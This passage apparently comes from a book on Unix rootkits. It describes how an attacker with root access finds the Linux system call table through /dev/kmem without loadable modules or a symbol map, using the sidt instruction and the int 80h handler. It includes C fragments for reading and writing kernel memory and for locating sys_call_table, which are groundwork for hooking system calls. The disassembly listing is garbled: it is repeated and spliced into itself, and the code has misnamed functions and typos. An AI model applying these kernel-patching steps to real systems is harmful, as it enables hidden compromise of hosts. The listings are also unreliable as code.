To overcome LKM rootkits, some administrators compile the kernel without support for LKMs and remove the system.map file, thus leaving hackers without a symbol table. Without this table, it is practically impossible to find anything. However, hackers manage to survive even under these severe conditions.
UNIX ideology favorably differs from Windows in that any entity, be it a device, process, or network connection, is mounted to the file system according to common rules. This is also true for the main memory, which is represented by pseudodevices such as /dev/mem (physical memory before virtual translation) and /dev/kmem (physical memory after virtual translation). Only root can manipulate over these devices; nevertheless, root doesn't need to go down to the kernel level. Consequently, support for modules also is not needed.
Listing 13.9 demonstrates the technique of reading from and writing to the kernel memory from the application level.
// Reading data from /dev/kmem static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } // Writing data to /dev/kmem static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; }
Now it only remains to find the syscalls table in that garbage. How is it possible to find it if there is no symbolic information? Hackers never become panic-stricken. They use the CPU and machine code of the int 80h interrupt handler (this interrupt is the one responsible for these system calls).
The disassembled listing of this int 80h interrupt handler generally appears as shown in Listing 13.10.
0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOPx18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOPxffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOPx100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB0xc0106bc8 <system_call>: PUSH %EAX 0xc0106bc9 <system_call+1>: CLD 0xc0106bca <system_call+2>: PUSH %ES 0xc0106bcb <system_call+3>: PUSH %DS 0xc0106bcc <system_call+4>: PUSH %EAX 0xc0106bcd <system_call+5>: PUSH %EBP 0xc0106bce <system_call+6>: PUSH %EDI 0xc0106bcf <system_call+7>: PUSH %ESI 0xc0106bd0 <system_call+8>: PUSH %EDX 0xc0106bd1 <system_call+9>: PUSH %ECX 0xc0106bd2 <system_call+10>: PUSH %EBX 0xc0106bd3 <system_call+11>: MOV $0x18, %EDX 0xc0106bd8 <system_call+16>: MOV %EDX, %DS 0xc0106bda <system_call+18>: MOV %EDX, %ES 0xc0106bdc <system_call+20>: MOV $0xffffe000, %EBX 0xc0106be1 <system_call+25>: AND %ESP, %EBX 0xc0106be3 <system_call+27>: CMP $0x100, %EAX 0xc0106be8 <system_call+32>: JAE 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: TESTB $0x2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOPx2, 0x18(%EBX) 0xc0106bf2 <system_call+42>: JNE 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: CALL *0xc01e0f18<, %EAX, 4) <-- That's it. 0xc0106bfb <system_call+51>: MOV %EAX, 0x18(%ESP, 1) 0xc0106bff <system_call+55>: NOP
At the OC0106BF4h address is the call command, the direct argument of which is the pointer to the syscall table. The address of the call command might change from kernel to kernel, and in some kernels it might even be different from call , because in some kernels the pointer to the system calls table is passed via intermediate pointer by the mov command. Briefly, it is necessary to find a command with one argument that is the direct operand X > 0C000000h . To find this command, the hacker will have to write a simple disassembler (this sounds frightening, but the devil is not so terrible as he is painted ) or find a ready-to-use engine on the Internet. There is plenty of such software on the Internet.
How is it possible to find the address of the int 80h interrupt handler in the dev/kmem file? Nothing can be easier ” just ask the processor and it will provide the required information. The sidt command returns the contents of the interrupt descriptor table, and the element number 80h from the left is the required handler (Fig. 13.6).
Listing 13.11 provides the code fragment that determines the position of system calls in /dev/kmem (the complete version of this code can be found in the " Linux on-the-fly kernel patching without LKM " article from issue 58 of the Phrack e-zine).
// Analyze the first 100 bytes of the handler. #define CALLOFF 100 main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF], *p; // Read the contents of the interrupt table. asm ( " sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X\n", (int)idtr.base); // Open /dev/kmem. kmem = open ("/dev/kmem", O_RDONLY); if (kmem < 0) return 1; // The function reads the code of the int 80h interrupt handler // from /dev/kmem. readkmem (&idt, idtr.base + 8*0x80, sizeof(idt)); sys_call_off = (idt.off2 << 16) idt.off1; printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel, sys_call_off); // Search for the indirect call with the direct operand. // The code of the dispatch function is not shown here. dispatch (indirect call) */ readkmem (sc_asm, sys_call_off, CALLOFF); p = (char*)meirmem (sc_asm, CALLOFF, "\xff\xl4\x85", 3); sct = *(unsigned*) (p + 3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p); } close(kmem); }